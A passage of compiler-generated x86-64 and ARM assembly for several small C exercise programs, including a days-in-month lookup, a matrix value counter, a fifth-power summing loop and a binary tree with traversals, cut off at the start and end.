lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl strDiff
mov r3, r0
cmp r3, #0
beq .L26
ldr r2, [fp, #-12]
ldr r1, [fp, #-16]
ldr r0, [fp, #-8]
bl dsu_union
.L26:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L25:
ldr r2, [fp, #-12]
ldr r3, [fp, #-28]
cmp r2, r3
blt .L27
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L24:
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L28
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size numSimilarGroups, .-numSimilarGroups
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "215535.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter month number: "
.LC1:
.string "%i"
.LC2:
.string "bad month number"
.LC3:
.string "Number of days is %i\n"
.LC4:
.string "...or 29 if it's a leap year"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -16[rbp]
cmp eax, 12
ja .L2
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, .L4[rip]
mov eax, DWORD PTR [rdx+rax]
cdqe
lea rdx, .L4[rip]
add rax, rdx
notrack jmp rax
.section .rodata
.align 4
.align 4
.L4:
.long .L2-.L4
.long .L3-.L4
.long .L6-.L4
.long .L3-.L4
.long .L5-.L4
.long .L3-.L4
.long .L5-.L4
.long .L3-.L4
.long .L3-.L4
.long .L5-.L4
.long .L3-.L4
.long .L5-.L4
.long .L3-.L4
.text
.L3:
mov DWORD PTR -12[rbp], 31
jmp .L7
.L5:
mov DWORD PTR -12[rbp], 30
jmp .L7
.L6:
mov DWORD PTR -12[rbp], 28
jmp .L7
.L2:
lea rdi, .LC2[rip]
call puts@PLT
mov DWORD PTR -12[rbp], 0
nop
.L7:
cmp DWORD PTR -12[rbp], 0
je .L8
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
.L8:
mov eax, DWORD PTR -16[rbp]
cmp eax, 2
jne .L9
lea rdi, .LC4[rip]
call puts@PLT
.L9:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "215535.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter month number: \000"
.align 2
.LC1:
.ascii "%i\000"
.align 2
.LC2:
.ascii "bad month number\000"
.align 2
.LC3:
.ascii "Number of days is %i\012\000"
.align 2
.LC4:
.ascii "...or 29 if it's a leap year\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L12+4
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr r3, [fp, #-16]
sub r3, r3, #1
cmp r3, #11
ldrls pc, [pc, r3, asl #2]
b .L2
.L4:
.word .L3
.word .L6
.word .L3
.word .L5
.word .L3
.word .L5
.word .L3
.word .L3
.word .L5
.word .L3
.word .L5
.word .L3
.L3:
mov r3, #31
str r3, [fp, #-12]
b .L7
.L5:
mov r3, #30
str r3, [fp, #-12]
b .L7
.L6:
mov r3, #28
str r3, [fp, #-12]
b .L7
.L2:
ldr r0, .L12+12
bl puts
mov r3, #0
str r3, [fp, #-12]
nop
.L7:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L8
ldr r1, [fp, #-12]
ldr r0, .L12+16
bl printf
.L8:
ldr r3, [fp, #-16]
cmp r3, #2
bne .L9
ldr r0, .L12+20
bl puts
.L9:
mov r3, #0
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "805411.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "805411.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "822357.c"
.intel_syntax noprefix
.text
.globl g
.bss
.align 4
.type g, @object
.size g, 4
g:
.zero 4
.text
.globl notNullableField
.type notNullableField, @function
notNullableField:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
je .L3
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov eax, DWORD PTR [rax]
mov DWORD PTR g[rip], eax
.L3:
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size notNullableField, .-notNullableField
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "822357.c"
.text
.comm g,4,4
.align 2
.global notNullableField
.syntax unified
.arm
.fpu softvfp
.type notNullableField, %function
notNullableField:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r3, [r3]
cmp r3, #0
beq .L3
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
ldr r3, [r3]
ldr r2, .L4
str r3, [r2]
.L3:
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L5:
.align 2
.L4:
.word g
.size notNullableField, .-notNullableField
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "486150.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "\nDigite um valor para o indice: [aux1][aux2]"
.LC1:
.string "%d"
.align 8
.LC2:
.string "\nEste valor e maior que 10: %d"
.align 8
.LC3:
.string "\nQuantidade de numeros maiores que 10: %d"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -84[rbp], 0
mov DWORD PTR -92[rbp], 0
jmp .L2
.L5:
mov DWORD PTR -88[rbp], 0
jmp .L3
.L4:
mov edx, DWORD PTR -88[rbp]
mov eax, DWORD PTR -92[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdx, -80[rbp]
mov eax, DWORD PTR -88[rbp]
movsx rcx, eax
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 2
add rax, rcx
sal rax, 2
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -88[rbp], 1
.L3:
cmp DWORD PTR -88[rbp], 3
jle .L4
add DWORD PTR -92[rbp], 1
.L2:
cmp DWORD PTR -92[rbp], 3
jle .L5
mov DWORD PTR -92[rbp], 0
jmp .L6
.L10:
mov DWORD PTR -88[rbp], 0
jmp .L7
.L9:
mov eax, DWORD PTR -88[rbp]
movsx rdx, eax
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 2
add rax, rdx
mov eax, DWORD PTR -80[rbp+rax*4]
cmp eax, 10
jle .L8
add DWORD PTR -84[rbp], 1
mov eax, DWORD PTR -88[rbp]
movsx rdx, eax
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 2
add rax, rdx
mov eax, DWORD PTR -80[rbp+rax*4]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
.L8:
add DWORD PTR -88[rbp], 1
.L7:
cmp DWORD PTR -88[rbp], 3
jle .L9
add DWORD PTR -92[rbp], 1
.L6:
cmp DWORD PTR -92[rbp], 3
jle .L10
mov eax, DWORD PTR -84[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L12
call __stack_chk_fail@PLT
.L12:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "486150.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\012Digite um valor para o indice: [aux1][aux2]\000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "\012Este valor e maior que 10: %d\000"
.align 2
.LC3:
.ascii "\012Quantidade de numeros maiores que 10: %d\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #80
ldr r3, .L13
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-76]
mov r3, #0
str r3, [fp, #-84]
b .L2
.L5:
mov r3, #0
str r3, [fp, #-80]
b .L3
.L4:
ldr r2, [fp, #-80]
ldr r1, [fp, #-84]
ldr r0, .L13+4
bl printf
sub r2, fp, #72
ldr r3, [fp, #-84]
lsl r1, r3, #2
ldr r3, [fp, #-80]
add r3, r1, r3
lsl r3, r3, #2
add r3, r2, r3
mov r1, r3
ldr r0, .L13+8
bl __isoc99_scanf
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L3:
ldr r3, [fp, #-80]
cmp r3, #3
ble .L4
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
.L2:
ldr r3, [fp, #-84]
cmp r3, #3
ble .L5
mov r3, #0
str r3, [fp, #-84]
b .L6
.L10:
mov r3, #0
str r3, [fp, #-80]
b .L7
.L9:
ldr r3, [fp, #-84]
lsl r2, r3, #2
ldr r3, [fp, #-80]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-68]
cmp r3, #10
ble .L8
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
ldr r3, [fp, #-84]
lsl r2, r3, #2
ldr r3, [fp, #-80]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-68]
mov r1, r3
ldr r0, .L13+12
bl printf
.L8:
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L7:
ldr r3, [fp, #-80]
cmp r3, #3
ble .L9
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
.L6:
ldr r3, [fp, #-84]
cmp r3, #3
ble .L10
ldr r1, [fp, #-76]
ldr r0, .L13+16
bl printf
mov r3, #0
ldr r2, .L13
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L12
bl __stack_chk_fail
.L12:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "489146.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "the_stack_data/489146.c"
.LC1:
.string "k>=0"
.LC2:
.string "k<=30"
.text
.globl mainQ
.type mainQ, @function
mainQ:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
cmp DWORD PTR -20[rbp], 0
jns .L2
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 5
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call __assert_fail@PLT
.L2:
cmp DWORD PTR -20[rbp], 30
jle .L3
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 6
lea rsi, .LC0[rip]
lea rdi, .LC2[rip]
call __assert_fail@PLT
.L3:
mov DWORD PTR -12[rbp], 0
mov DWORD PTR -8[rbp], 0
mov DWORD PTR -4[rbp], 0
.L6:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -20[rbp]
jge .L9
add DWORD PTR -4[rbp], 1
add DWORD PTR -12[rbp], 1
mov eax, DWORD PTR -12[rbp]
imul eax, eax
imul eax, DWORD PTR -12[rbp]
imul eax, DWORD PTR -12[rbp]
imul eax, DWORD PTR -12[rbp]
add DWORD PTR -8[rbp], eax
jmp .L6
.L9:
nop
mov eax, DWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size mainQ, .-mainQ
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -16[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
mov rdi, rax
mov eax, 0
call atoi@PLT
mov edi, eax
call mainQ
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .rodata
.type __PRETTY_FUNCTION__.0, @object
.size __PRETTY_FUNCTION__.0, 6
__PRETTY_FUNCTION__.0:
.string "mainQ"
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "489146.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "the_stack_data/489146.c\000"
.align 2
.LC1:
.ascii "k>=0\000"
.align 2
.LC2:
.ascii "k<=30\000"
.text
.align 2
.global mainQ
.syntax unified
.arm
.fpu softvfp
.type mainQ, %function
mainQ:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
ldr r3, [fp, #-24]
cmp r3, #0
bge .L2
ldr r3, .L10
mov r2, #5
ldr r1, .L10+4
ldr r0, .L10+8
bl __assert_fail
.L2:
ldr r3, [fp, #-24]
cmp r3, #30
ble .L3
ldr r3, .L10
mov r2, #6
ldr r1, .L10+4
ldr r0, .L10+12
bl __assert_fail
.L3:
mov r3, #0
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
.L6:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
bge .L9
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
ldr r2, [fp, #-16]
mul r3, r2, r3
ldr r2, [fp, #-16]
mul r3, r2, r3
ldr r2, [fp, #-16]
mul r3, r2, r3
ldr r2, [fp, #-12]
add r3, r2, r3
str r3, [fp, #-12]
b .L6
.L9:
nop
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word __PRETTY_FUNCTION__.4615
.word .LC0
.word .LC1
.word .LC2
.size mainQ, .-mainQ
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
add r3, r3, #4
ldr r3, [r3]
mov r0, r3
bl atoi
mov r3, r0
mov r0, r3
bl mainQ
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.section .rodata
.align 2
.type __PRETTY_FUNCTION__.4615, %object
.size __PRETTY_FUNCTION__.4615, 6
__PRETTY_FUNCTION__.4615:
.ascii "mainQ\000"
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "469400.c"
.intel_syntax noprefix
.text
.globl a
.bss
.align 16
.type a, @object
.size a, 30
a:
.zero 30
.text
.globl buildtree
.type buildtree, @function
buildtree:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -8[rbp], 0
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, a[rip]
movzx eax, BYTE PTR [rax+rdx]
cmp al, 88
je .L2
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, a[rip]
movzx edx, BYTE PTR [rax+rdx]
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -20[rbp]
add eax, eax
add eax, 1
mov edi, eax
call buildtree
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rdx], rax
mov eax, DWORD PTR -20[rbp]
add eax, 1
add eax, eax
mov edi, eax
call buildtree
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rdx], rax
.L2:
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size buildtree, .-buildtree
.section .rodata
.LC0:
.string "%c\t"
.text
.globl inorder
.type inorder, @function
inorder:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L6
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call inorder
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
movsx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdi, rax
call inorder
.L6:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size inorder, .-inorder
.globl preorder
.type preorder, @function
preorder:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L9
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
movsx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call preorder
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdi, rax
call preorder
.L9:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size preorder, .-preorder
.globl postorder
.type postorder, @function
postorder:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L12
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call postorder
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdi, rax
call postorder
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
movsx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
.L12:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size postorder, .-postorder
.section .rodata
.align 8
.LC1:
.string "\nEnter choice:\n1-Build Tree\n2-Inorder traversal\n3-Preorder traversal"
.LC2:
.string "\n4-postorder\n5-exit"
.LC3:
.string "%d"
.align 8
.LC4:
.string "Enter the elements of tree and finally press new line:"
.LC5:
.string "%s"
.LC6:
.string "inorder traversal is:"
.LC7:
.string "Preorder traversal is:"
.LC8:
.string "Postorder traversal is:"
.text
.globl main
.type main, @function
main:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -16[rbp], 0
.L19:
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC2[rip]
call puts@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -20[rbp]
cmp eax, 4
je .L14
cmp eax, 4
jg .L15
cmp eax, 3
je .L16
cmp eax, 3
jg .L15
cmp eax, 1
je .L17
cmp eax, 2
je .L18
jmp .L15
.L17:
lea rdi, .LC4[rip]
call puts@PLT
lea rsi, a[rip]
lea rdi, .LC5[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edi, 0
call buildtree
mov QWORD PTR -16[rbp], rax
jmp .L15
.L18:
lea rdi, .LC6[rip]
call puts@PLT
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call inorder
jmp .L15
.L16:
lea rdi, .LC7[rip]
call puts@PLT
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call preorder
jmp .L15
.L14:
lea rdi, .LC8[rip]
call puts@PLT
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call postorder
nop
.L15:
mov eax, DWORD PTR -20[rbp]
cmp eax, 5
jne .L19
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L20
call __stack_chk_fail@PLT
.L20:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "469400.c"
.text
.comm a,30,4
.align 2
.global buildtree
.syntax unified
.arm
.fpu softvfp
.type buildtree, %function
buildtree:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
ldr r2, .L4
ldr r3, [fp, #-16]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #88
beq .L2
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-12]
ldr r2, .L4
ldr r3, [fp, #-16]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-12]
strb r2, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #1
add r3, r3, #1
mov r0, r3
bl buildtree
mov r2, r0
ldr r3, [fp, #-12]
str r2, [r3, #4]
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #1
mov r0, r3
bl buildtree
mov r2, r0
ldr r3, [fp, #-12]
str r2, [r3, #8]
.L2:
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word a
.size buildtree, .-buildtree
.section .rodata
.align 2
.LC0:
.ascii "%c\011\000"
.text
.align 2
.global inorder
.syntax unified
.arm
.fpu softvfp
.type inorder, %function
inorder:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L8
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl inorder
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, .L9
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
mov r0, r3
bl inorder
.L8:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC0
.size inorder, .-inorder
.align 2
.global preorder
.syntax unified
.arm
.fpu softvfp
.type preorder, %function
preorder:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L13
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, .L14
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl preorder
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
mov r0, r3
bl preorder
.L13:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L15:
.align 2
.L14:
.word .LC0
.size preorder, .-preorder
.align 2
